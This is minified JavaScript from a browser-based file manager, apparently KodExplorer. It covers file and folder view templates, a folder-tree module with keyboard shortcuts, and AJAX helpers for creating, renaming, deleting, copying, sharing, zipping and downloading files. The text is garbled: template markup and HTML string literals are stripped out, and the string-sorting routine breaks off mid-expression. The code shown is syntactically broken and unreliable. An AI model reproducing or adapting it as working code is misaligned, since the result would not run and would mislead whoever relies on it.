        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        {{LNG.folder}}
        \n
        \n
        {{list.mtime}}
        \n
        \n
        \n{{if list.isParent&&list.is_readable}}\n
        \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='icon_file'}}\n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.icon}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_file'}}\n
        \n
        \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        {{list.ext |window.htmlEncode}} {{LNG.file}}
        \n
        {{list.size |core.fileSize}}
        \n
        {{list.mtime}}
        \n
        \n
        \n\n\n{{else if type=='list_split_file'}}\n
        \n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1; +ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],a=[],n=0;e.length>n;n++)e[n].drop=!1,e[n].drag=!1,e[n].name=e[n].name,e[n].isParent&&e[n].children&&(e[n].children=r(e[n].children)),e[n].is_writeable,"folder"==e[n].type?a.push(e[n]):i.push(e[n]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... '+e.length+"");var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof 